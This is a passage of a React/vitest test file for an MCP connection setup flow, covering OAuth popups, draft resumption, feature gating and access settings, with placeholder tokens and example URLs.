await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
}
|
||
expect(container.textContent).toContain("MCP server URL");
|
||
expect(container.textContent).not.toContain("Add your key");
|
||
expect(container.textContent).not.toContain("Step 1 of 2");
|
||
const url = container.querySelector<HTMLInputElement>('input[type="password"]')!;
|
||
expect(url.value).toBe(provider === "composio" ? "https://connect.composio.dev/mcp" : "");
|
||
expect(buttonByText(connectLabel)?.disabled).toBe(provider !== "composio");
|
||
await act(async () => setInputValue(url, "not a url"));
|
||
await act(async () => buttonByText(connectLabel)!.click());
|
||
expect(container.textContent).toContain("Enter a valid MCP URL");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await act(async () => setInputValue(url, "https://provider.example/mcp"));
|
||
// The sign-in method shares the one Advanced disclosure with the access
|
||
// controls, and Radix unmounts collapsed content — so it has to be opened.
|
||
expect(container.querySelector("select")).toBeNull();
|
||
await act(async () => buttonByText("Change")!.click());
|
||
expect(buttonByText("Advanced")).toBeUndefined();
|
||
expect(buttonByText("Change")?.getAttribute("aria-expanded")).toBe("true");
|
||
await act(async () => {
|
||
const auth = container.querySelector<HTMLSelectElement>("select")!;
|
||
auth.value = "bearer";
|
||
auth.dispatchEvent(new Event("change", { bubbles: true }));
|
||
});
|
||
const token = container.querySelector<HTMLInputElement>('input[id$="-token"]')!;
|
||
await act(async () => setInputValue(token, "fixture-token"));
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(onComplete).toHaveBeenCalledWith({ connectionId: connection.id }));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ galleryKey: provider, link: "https://provider.example/mcp", grantKind: "user", authMode: "bearer", credentialValues: { "credentials.authorization": "fixture-token" } }));
|
||
// PAP-659 C6a/C7: this path used to send an empty ask-first list, so the
|
||
// gateway connectors were the one place the armed write gate did not apply.
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", connection.id, { enabledCatalogEntryIds: ["tool-1", "tool-2"], askFirstCatalogEntryIds: ["tool-2"], access: { agentIds: ["agent-1"] }, preserveExistingAccess: true });
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(mockNavigate).not.toHaveBeenCalled();
|
||
expect(popup).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["arcade", "composio", "executor"])("inline aggregator %s binds OAuth to the task and retries the same draft", async (provider) => {
|
||
const onComplete = vi.fn();
|
||
const onPhaseChange = vi.fn();
|
||
const popup = { closed: false, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
vi.spyOn(window, "open").mockReturnValue(popup as unknown as Window);
|
||
const connection = { id: "conn-inline-oauth", status: "draft", credentialPolicy: "per_user", authKind: "oauth" };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [], auth: { kind: "oauth" } });
|
||
const root = await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug={provider} requestedAgentId="agent-1" interactionId="intent-inline" onComplete={onComplete} onPhaseChange={onPhaseChange} />);
|
||
const connectLabel = `Connect ${provider[0].toUpperCase()}${provider.slice(1)}`;
|
||
if (provider === "composio") await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[type="password"]')!, "https://provider.example/mcp"));
|
||
await act(async () => buttonByText(connectLabel)!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledWith(connection.id, { asCurrentUser: true, interactionId: "intent-inline" }));
|
||
expect(popup.location.assign).toHaveBeenCalled();
|
||
popup.closed = true;
|
||
expect(container.textContent).toContain("Paperclip is waiting for confirmation");
|
||
expect(container.querySelector('a[target="_blank"]')?.getAttribute("href")).toBe("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(navigateTopLevelMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
const message = (origin: string, interactionId: string, outcome: string) => window.dispatchEvent(new MessageEvent("message", { origin, data: { type: "paperclip.connection-intent.oauth", interactionId, outcome } }));
|
||
await act(async () => { message("https://untrusted.example", "intent-inline", "connected"); message(window.location.origin, "other-intent", "connected"); });
|
||
expect(onComplete).not.toHaveBeenCalled();
|
||
await act(async () => message(window.location.origin, "intent-inline", "failed"));
|
||
expect(container.textContent).toContain("Authorization did not complete");
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledTimes(2));
|
||
expect(connectAppMock).toHaveBeenLastCalledWith("company-1", expect.objectContaining({ resumeConnectionId: connection.id }));
|
||
await act(async () => message(window.location.origin, "intent-inline", "connected"));
|
||
expect(onComplete).toHaveBeenCalledWith({ resolvedByCallback: true });
|
||
await act(async () => root.unmount());
|
||
mountedRoot = null;
|
||
expect(popup.close).toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["blocked", "throws", "closed"])("keeps inline Composio sign-in recoverable when its popup is %s", async (failure) => {
|
||
const popup = { closed: true, location: { assign: vi.fn() }, focus: vi.fn(), close: vi.fn() };
|
||
const open = vi.spyOn(window, "open").mockImplementation(() => {
|
||
if (failure === "throws") throw new Error("Browser blocked the popup");
|
||
return failure === "closed" ? popup as unknown as Window : null;
|
||
});
|
||
const onPhaseChange = vi.fn();
|
||
const onComplete = vi.fn();
|
||
const connection = { id: "conn-composio", status: "draft", credentialPolicy: "per_user" };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [], auth: { kind: "oauth" } });
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="composio" interactionId="intent-inline" onPhaseChange={onPhaseChange} onComplete={onComplete} />);
|
||
await act(async () => buttonByText("Connect Composio")!.click());
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Paperclip couldn’t open sign-in"));
|
||
|
||
const link = container.querySelector<HTMLAnchorElement>('a[target="_blank"]')!;
|
||
expect(link.href).toBe("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(link.rel).toBe("noopener noreferrer");
|
||
expect(onPhaseChange).toHaveBeenCalledWith("needs_retry");
|
||
const click = new MouseEvent("click", { bubbles: true, cancelable: true });
|
||
await act(async () => link.dispatchEvent(click));
|
||
expect(click.defaultPrevented).toBe(false);
|
||
expect(onPhaseChange).toHaveBeenLastCalledWith("authorizing");
|
||
expect(container.textContent).not.toContain("Paperclip couldn’t open sign-in");
|
||
expect(open).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledTimes(1);
|
||
expect(onComplete).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["arcade", "composio", "executor"])("keeps a native sign-in link when direct %s navigation is blocked", async (provider) => {
|
||
mockSearch.value = `source=${provider}`;
|
||
const connection = { id: "conn-provider", status: "draft", credentialPolicy: "shared" };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [], auth: { kind: "oauth" } });
|
||
navigateTopLevelMock.mockImplementationOnce(() => { throw new Error("Browser refused navigation"); });
|
||
await render();
|
||
if (provider !== "composio") {
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[id$="-url"]')!, "https://provider.example/mcp"));
|
||
}
|
||
await act(async () => buttonByText(`Connect ${provider[0].toUpperCase()}${provider.slice(1)}`)!.click());
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Paperclip couldn’t open sign-in"));
|
||
|
||
const link = container.querySelector<HTMLAnchorElement>('a[target="_blank"]')!;
|
||
expect(link.textContent).toBe("open sign-in again");
|
||
expect(link.href).toBe("https://mcp.notion.com/authorize?state=resumed");
|
||
expect(link.rel).toBe("noopener noreferrer");
|
||
const click = new MouseEvent("click", { bubbles: true, cancelable: true });
|
||
await act(async () => link.dispatchEvent(click));
|
||
expect(click.defaultPrevented).toBe(false);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledTimes(1);
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Waiting for sign-in");
|
||
});
|
||
|
||
it("inline aggregator saves and resumes a draft without storing credentials in browser storage", async () => {
|
||
const onCancel = vi.fn();
|
||
const connection = { id: "conn-inline-draft", status: "draft", credentialPolicy: "per_user", authKind: "none", config: { url: "https://provider.example/mcp", sourceTemplateKey: "zapier", connectionMethodKey: "generated-url" } };
|
||
connectAppMock.mockResolvedValue({ connectionId: connection.id, connection, catalog: [] });
|
||
getConnectionMock.mockResolvedValue(connection);
|
||
const content = <ConnectionSetupFlow host="dialog" serviceSlug="zapier" requestedAgentId="agent-1" interactionId="intent-inline" onCancel={onCancel} />;
|
||
const root = await render(undefined, false, content);
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[type="password"]')!, "https://provider.example/mcp?token=fixture-secret"));
|
||
await act(async () => buttonByText("Save & exit")!.click());
|
||
await vi.waitFor(() => expect(onCancel).toHaveBeenCalled());
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ saveDraft: true }));
|
||
expect(sessionStorage.getItem("paperclip:mcp-intent-draft:company-1:intent-inline")).toBe(connection.id);
|
||
expect(JSON.stringify(sessionStorage)).not.toContain("fixture-secret");
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
await act(async () => root.unmount());
|
||
mountedRoot = null;
|
||
await render(undefined, false, content);
|
||
await vi.waitFor(() => expect(container.textContent).toContain("MCP server URL"));
|
||
expect(getConnectionMock).toHaveBeenCalledWith(connection.id);
|
||
// Resuming lands on the same single screen it was saved from, not "step 2".
|
||
expect(container.textContent).not.toContain("Step 2 of 2");
|
||
});
|
||
|
||
it.each(["page", "dialog"] as const)("lets %s setup cancel after an invalid provider URL without trying to save it", async (host) => {
|
||
const onCancel = host === "dialog" ? vi.fn() : undefined;
|
||
connectAppMock.mockRejectedValue(new Error("That connection URL does not belong to Zapier"));
|
||
await render(undefined, false, <ConnectionSetupFlow host={host} serviceSlug="zapier" onCancel={onCancel} />);
|
||
await passAccessStep();
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[type="password"]')!, "https://wrong-provider.example/mcp"));
|
||
await act(async () => buttonByText("Connect Zapier")!.click());
|
||
await vi.waitFor(() => expect(container.textContent).toContain("That connection URL does not belong to Zapier"));
|
||
|
||
await act(async () => buttonByText("Cancel")!.click());
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
if (onCancel) expect(onCancel).toHaveBeenCalledOnce();
|
||
else expect(mockNavigate).toHaveBeenCalledWith("/apps");
|
||
});
|
||
|
||
it("inline aggregator reuses an eligible account without changing its access", async () => {
|
||
const onUseExisting = vi.fn().mockResolvedValue(undefined);
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" serviceSlug="composio" requestedAgentId="agent-1" interactionId="intent-inline" existingConnections={[{ id: "existing", applicationId: "app", name: "Existing Composio", status: "active", enabled: true }]} onUseExisting={onUseExisting} />);
|
||
await act(async () => buttonContaining("Existing Composio")!.click());
|
||
expect(onUseExisting).toHaveBeenCalledWith("existing");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each([
|
||
"source=paperclip-notebook", "source=%20paperclip-notebook%20", "appKey=paperclip-notebook", "source=paperclip-notebook&resume=existing-notebook",
|
||
"source=paperclip-notebook&reconnect=existing-notebook", "reconnect=existing-notebook",
|
||
])("blocks Notebook setup and existing authorization shortcuts while disabled: %s", async query => {
|
||
mockSearch.value = query;
|
||
getConnectionMock.mockResolvedValue({ id: "existing-notebook", status: "active", config: { sourceTemplateKey: "paperclip-notebook" } });
|
||
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("paperclip-notebook")] });
|
||
await render();
|
||
expect(container.textContent).toContain("Paperclip Notebook is not available on this instance");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(finishAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["path", "inline"])("blocks the Notebook %s setup route while disabled", async route => {
|
||
getConnectionMock.mockResolvedValue({ id: "existing-notebook", status: "active", config: { sourceTemplateKey: "paperclip-notebook" } });
|
||
mockParams.appKey = route === "path" ? "paperclip-notebook" : undefined;
|
||
await render(undefined, false, route === "inline" ? <ConnectionSetupFlow host="dialog" serviceSlug="paperclip-notebook" configuredConnection={{ id: "existing-notebook", applicationId: "notebook-app", name: "Notebook", enabled: true, status: "active" }} /> : undefined);
|
||
expect(container.textContent).toContain("Paperclip Notebook is not available on this instance");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("uses the saved application identity when its mutable provider marker has changed", async () => {
|
||
mockSearch.value = "source=notion&reconnect=existing-notebook";
|
||
getConnectionMock.mockResolvedValue({ id: "existing-notebook", applicationId: "notebook-app", status: "active", config: { sourceTemplateKey: "notion" } });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ id: "existing-notebook", applicationId: "notebook-app", status: "active", config: { sourceTemplateKey: "notion" } }] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "notebook-app", applicationKey: "app-gallery:paperclip-notebook:11111111-1111-4111-8111-111111111111", metadata: { sourceTemplateKey: "notion" } }] });
|
||
await render();
|
||
expect(container.textContent).toContain("Paperclip Notebook is not available on this instance");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("waits for Notebook settings and fails closed when they cannot be loaded", async () => {
|
||
mockSearch.value = "source=paperclip-notebook";
|
||
let reject!: (error: Error) => void;
|
||
experimentalMock.mockImplementation(() => new Promise((_resolve, fail) => { reject = fail; }));
|
||
await render();
|
||
expect(container.textContent).toContain("Loading connection settings");
|
||
await act(async () => { reject(new Error("Settings unavailable")); });
|
||
await flushReact();
|
||
expect(container.querySelector('[role="alert"]')?.textContent).toContain("Could not load connector availability");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("opens Notebook setup only with its explicit rollout opt-in", async () => {
|
||
mockSearch.value = "source=paperclip-notebook";
|
||
experimentalMock.mockResolvedValue({ enablePaperclipNotebook: true });
|
||
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("paperclip-notebook")] });
|
||
await render();
|
||
expect(container.textContent).toContain("Paperclip Notebook");
|
||
expect(container.textContent).not.toContain("not available on this instance");
|
||
expect(listGalleryMock).toHaveBeenCalledWith("company-1");
|
||
expect([...container.querySelectorAll("button")].some(button => /Continue to|Continue to sign in|Connect/.test(button.textContent ?? ""))).toBe(true);
|
||
});
|
||
|
||
it.each(["mem0", "zep", "supermemory", "cognee", "honcho"])("blocks direct %s setup while memory connectors are off", async (provider) => {
|
||
mockSearch.value = `source=${provider}`;
|
||
await render();
|
||
expect(container.textContent).toContain("Enable memory connectors");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("allows an existing memory connection to reconnect while setup is hidden", async () => {
|
||
mockSearch.value = "source=mem0&reconnect=existing-memory";
|
||
getConnectionMock.mockResolvedValue({ id: "existing-memory", status: "active", config: { sourceTemplateKey: "mem0" } });
|
||
await render();
|
||
expect(getConnectionMock).toHaveBeenCalledWith("existing-memory");
|
||
expect(container.textContent).not.toContain("Enable memory connectors");
|
||
});
|
||
|
||
it.each(["zapier", "arcade", "composio", "executor"])("opens direct %s setup with default settings", async (provider) => {
|
||
mockSearch.value = `source=${provider}`;
|
||
await render();
|
||
expect(container.textContent).not.toContain("Enable MCP aggregators");
|
||
await passAccessStep();
|
||
expect(container.textContent?.includes("MCP server URL")).toBe(provider !== "composio");
|
||
expect(buttonByText("Advanced")).toBeUndefined();
|
||
expect(buttonByText("Change")?.getAttribute("aria-expanded")).toBe("false");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("keeps an existing Composio session URL when its disclosure is closed", async () => {
|
||
mockSearch.value = "source=composio&new=1";
|
||
await render();
|
||
expect(container.querySelector('input[id$="-url"]')).toBeNull();
|
||
await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[id$="-url"]')!, "https://session.example/mcp"));
|
||
await act(async () => buttonByText("Reuse an existing session")!.click());
|
||
expect(container.querySelector('input[id$="-url"]')).toBeNull();
|
||
await act(async () => buttonByText("Connect Composio")!.click());
|
||
await vi.waitFor(() => expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ link: "https://session.example/mcp" })));
|
||
});
|
||
|
||
it("reuses saved Composio accounts for a targeted app setup URL", async () => {
|
||
mockSearch.value = "source=composio&targetToolkit=circleback_mcp";
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ id: "saved-composio", status: "active", enabled: true, transport: "mcp_remote", config: { sourceTemplateKey: "composio", url: "https://connect.composio.dev/mcp" } }] });
|
||
await render();
|
||
await vi.waitFor(() => expect(mockNavigate).toHaveBeenCalledWith("/apps?source=composio&targetToolkit=circleback_mcp", { replace: true }));
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("retains explicit new-account setup even when Composio is saved", async () => {
|
||
mockSearch.value = "source=composio&targetToolkit=circleback_mcp&new=1";
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ id: "saved-composio", status: "active", enabled: true, transport: "mcp_remote", config: { sourceTemplateKey: "composio", url: "https://connect.composio.dev/mcp" } }] });
|
||
await render();
|
||
expect(mockNavigate).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("Connect Circleback through Composio");
|
||
});
|
||
|
||
it.each(["arcade", "composio"])("retains the selected upstream app in %s setup without claiming app authorization", async (provider) => {
|
||
mockSearch.value = `source=${provider}&targetToolkit=hubspot`;
|
||
await render();
|
||
expect(container.textContent).toContain(`Connect HubSpot through ${provider === "arcade" ? "Arcade" : "Composio"}`);
|
||
expect(container.textContent).toContain(provider === "composio" ? "sign in to the app in Composio" : "Manage app sign-in in the provider");
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("returns completed Arcade gateway setup to Apps without creating an agent task", async () => {
|
||
mockSearch.value = "source=arcade&targetToolkit=hubspot";
|
||
connectAppMock.mockResolvedValue({ connectionId: "new-arcade", connection: { id: "new-arcade", status: "active", credentialPolicy: "shared" }, catalog: [] });
|
||
await render();
|
||
await passAccessStep();
|
||
await act(async () => setInputValue(container.querySelector<HTMLInputElement>('input[id$="-url"]')!, "https://api.arcade.dev/mcp/test"));
|
||
await act(async () => buttonByText("Connect Arcade")!.click());
|
||
await vi.waitFor(() => expect(mockNavigate).toHaveBeenCalledWith("/apps"));
|
||
expect(openAggregatorTaskMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["source=composio", "source=composio&targetToolkit=hubspot"])("opens Composio permissions after gateway setup for %s", async (search) => {
|
||
mockSearch.value = search;
|
||
connectAppMock.mockResolvedValue({ connectionId: "new-composio", connection: { id: "new-composio", status: "active", credentialPolicy: "shared" }, catalog: [] });
|
||
await render();
|
||
await act(async () => buttonByText("Connect Composio")!.click());
|
||
await vi.waitFor(() => expect(mockNavigate).toHaveBeenCalledWith("/apps/new-composio/permissions"));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ grantKind: "organization" }));
|
||
expect(putConnectionInstallsMock).toHaveBeenCalledWith("new-composio", [{ targetType: "company", targetId: "company-1" }]);
|
||
expect(finishAppMock).toHaveBeenCalledWith("company-1", "new-composio", expect.objectContaining({ access: "all_agents" }));
|
||
expect(openAggregatorTaskMock).not.toHaveBeenCalled();
|
||
expect(window.sessionStorage.getItem("paperclip:mcp-upstream-app:company-1:new-composio")).toBeNull();
|
||
});
|
||
|
||
it("recovers upstream app context after a gateway OAuth redirect", async () => {
|
||
window.sessionStorage.setItem("paperclip:mcp-upstream-app:company-1:composio-draft", "hubspot");
|
||
mockSearch.value = "source=composio&resume=composio-draft&oauth=connected";
|
||
getConnectionMock.mockResolvedValue({ id: "composio-draft", status: "draft", credentialPolicy: "per_user", config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp" } });
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Connect HubSpot through Composio"));
|
||
expect(openAggregatorTaskMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each(["arcade", "composio", "executor"])("explains a failed %s OAuth return and retries the same saved draft", async (provider) => {
|
||
const draft = { id: "conn-oauth-draft", companyId: "company-1", status: "draft", authKind: "oauth", credentialPolicy: "shared", config: { sourceTemplateKey: provider, connectionMethodKey: "mcp", url: "https://example.com/mcp" } };
|
||
mockSearch.value = `source=${provider}&resume=${draft.id}&oauth=failed&code=oauth_callback_failed&error_description=untrusted-provider-message`;
|
||
getConnectionMock.mockResolvedValue(draft);
|
||
connectAppMock.mockResolvedValue({ connectionId: draft.id, connection: draft, catalog: [], auth: { kind: "oauth" } });
|
||
await render();
|
||
await vi.waitFor(() => expect(container.querySelector('[role="alert"]')?.textContent).toContain("Authorization did not complete"));
|
||
expect(container.querySelector<HTMLInputElement>('input[id$="-url"]')?.value).toBe("https://example.com/mcp");
|
||
expect(container.textContent).not.toContain("untrusted-provider-message");
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledWith(draft.id, { asCurrentUser: false }));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ resumeConnectionId: draft.id }));
|
||
expect(navigateTopLevelMock).toHaveBeenCalled();
|
||
});
|
||
|
||
it("explains a declined Composio OAuth return without discarding the draft", async () => {
|
||
mockSearch.value = "source=composio&resume=conn-oauth-draft&oauth=denied&code=oauth_authorization_denied";
|
||
getConnectionMock.mockResolvedValue({ id: "conn-oauth-draft", status: "draft", authKind: "oauth", config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp", url: "https://connect.composio.dev/mcp" } });
|
||
await render();
|
||
await vi.waitFor(() => expect(container.textContent).toContain("Connection cancelled. Your setup details are preserved"));
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it.each([
|
||
["shared", "Connects for everyone in your organization", "Any human in the organization", false],
|
||
["per_user", "Connects as you", "Just me", true],
|
||
])("retains the %s identity across an OAuth return without a step to walk back through", async (credentialPolicy, statedDefault, identityLabel, asCurrentUser) => {
|
||
const draft = { id: "conn-oauth-draft", status: "draft", authKind: "oauth", credentialPolicy, config: { sourceTemplateKey: "composio", connectionMethodKey: "mcp", url: "https://connect.composio.dev/mcp" } };
|
||
mockSearch.value = `source=composio&resume=${draft.id}&oauth=denied`;
|
||
getConnectionMock.mockResolvedValue(draft);
|
||
connectAppMock.mockResolvedValue({ connectionId: draft.id, connection: draft, catalog: [], auth: { kind: "oauth" } });
|
||
await render();
|
||
// PAP-659 C0: the retained identity is stated on the one screen instead of
|
||
// being re-confirmed on an Access step the operator has to navigate back to.
|
||
await vi.waitFor(() => expect(container.textContent).toContain(statedDefault));
|
||
// It is also still editable, one disclosure away. Radix unmounts collapsed
|
||
// content, so the controls have to be opened to be asserted at all.
|
||
await act(async () => buttonByText("Change")!.click());
|
||
expect(container.textContent).toContain(identityLabel);
|
||
expect(container.querySelector('[role="radiogroup"][aria-label="Which humans can use this credential?"]')).toBeNull();
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await vi.waitFor(() => expect(startOAuthMock).toHaveBeenCalledWith(draft.id, { asCurrentUser }));
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({ resumeConnectionId: draft.id, grantKind: asCurrentUser ? "user" : "organization" }));
|
||
});
|
||
|
||
it("shows only MCP URL setup on the BYO page", async () => {
|
||
await render(undefined, true);
|
||
|
||
const text = container.textContent ?? "";
|
||
expect(text).toContain("Connect your own MCP server");
|
||
expect(text).not.toContain("More ways to connect");
|
||
expect(text).not.toContain("Run your own");
|
||
expect(text).not.toContain("Paste a config");
|
||
expect(text).not.toContain("Search apps…");
|
||
expect(text).not.toContain("Pick the app you want your agents to use.");
|
||
expect(text).not.toContain("Zapier");
|
||
|
||
const urlInput = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]');
|
||
expect(urlInput).toBeTruthy();
|
||
expect(document.activeElement).toBe(urlInput);
|
||
});
|
||
|
||
it.each(["config-url", "transport-url", "transport-serverUrl"] as const)("reloads a generic task reconnect endpoint from %s with selection-only card metadata", async (source) => {
|
||
const endpoint = "https://archive.example.test/mcp";
|
||
const choice = { id: "conn-archive", applicationId: "app-archive", name: "Archive", status: "active" as const, enabled: true };
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: choice.applicationId, name: "Archive", applicationKey: "archive", type: "mcp_http" }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{
|
||
...choice, companyId: "company-1", transport: "mcp_remote", authKind: "none", credentialPolicy: "shared", credentialSource: "paperclip_vault",
|
||
config: source === "config-url" ? { url: endpoint } : {},
|
||
transportConfig: source === "transport-url" ? { url: endpoint } : source === "transport-serverUrl" ? { serverUrl: endpoint } : {},
|
||
}] });
|
||
getConnectionMock.mockImplementation(async () => (await listConnectionsMock()).connections[0]);
|
||
await render(undefined, false, <ConnectionSetupFlow host="dialog" configuredConnection={choice} requestedAgentId="agent-1" />);
|
||
const input = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]');
|
||
expect(input?.value).toBe(endpoint);
|
||
expect(listConnectionsMock).toHaveBeenCalledWith("company-1");
|
||
await act(async () => { buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); });
|
||
await flushReact();
|
||
await passAccessStep();
|
||
await act(async () => { buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true })); });
|
||
await flushReact();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
link: endpoint, reconnectConnectionId: choice.id,
|
||
}));
|
||
});
|
||
|
||
it("preserves an edited task reconnect endpoint after refreshing connection data", async () => {
|
||
const choice = { id: "conn-archive", applicationId: "app-archive", name: "Archive", status: "active" as const, enabled: true };
|
||
const client = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: choice.applicationId, name: "Archive", applicationKey: "archive", type: "mcp_http" }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ ...choice, companyId: "company-1", transport: "mcp_remote", authKind: "none", credentialPolicy: "shared", credentialSource: "paperclip_vault", config: { url: "https://archive.example.test/mcp" } }] });
|
||
getConnectionMock.mockImplementation(async () => (await listConnectionsMock()).connections[0]);
|
||
await render(client, false, <ConnectionSetupFlow host="dialog" configuredConnection={choice} requestedAgentId="agent-1" />);
|
||
const input = container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]');
|
||
expect(input?.value).toBe("https://archive.example.test/mcp");
|
||
await act(async () => setInputValue(input!, "https://edited.example.test/mcp"));
|
||
listConnectionsMock.mockResolvedValue({ connections: [{ ...choice, companyId: "company-1", transport: "mcp_remote", authKind: "none", credentialPolicy: "shared", credentialSource: "paperclip_vault", config: { url: "https://refreshed.example.test/mcp" } }] });
|
||
await act(async () => { await client.invalidateQueries(); });
|
||
await flushReact();
|
||
expect(container.querySelector<HTMLInputElement>('input[aria-label="MCP server URL"]')?.value).toBe("https://edited.example.test/mcp");
|
||
});
|
||
|
||
it("an unrecognized URL routes to a minimal frame that asks nothing but the address", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).toContain("https://www.example.com/actions");
|
||
// PAP-659 bucket H: the server's probe answers "does it need a key?", so the
|
||
// operator is no longer asked to guess at it before anything has been tried.
|
||
expect(container.textContent).not.toContain("Does it need a key?");
|
||
expect(buttonByText("No")).toBeUndefined();
|
||
expect(buttonByText("Yes")).toBeUndefined();
|
||
expect(
|
||
Array.from(container.querySelectorAll<HTMLInputElement>("input")).some((i) => i.type === "password"),
|
||
).toBe(false);
|
||
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
});
|
||
|
||
it("opens the shared Access step before configuring a pasted MCP server", async () => {
|
||
await render();
|
||
|
||
const linkInput = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).find((input) => input.getAttribute("placeholder")?.startsWith("https://"));
|
||
await act(async () => setInputValue(linkInput!, "https://mcp.example.com/actions"));
|
||
await flushReact();
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
expect(radioContaining("Just me")).toBeTruthy();
|
||
expect(radioContaining("Any human in the organization")?.getAttribute("aria-checked")).toBe("true");
|
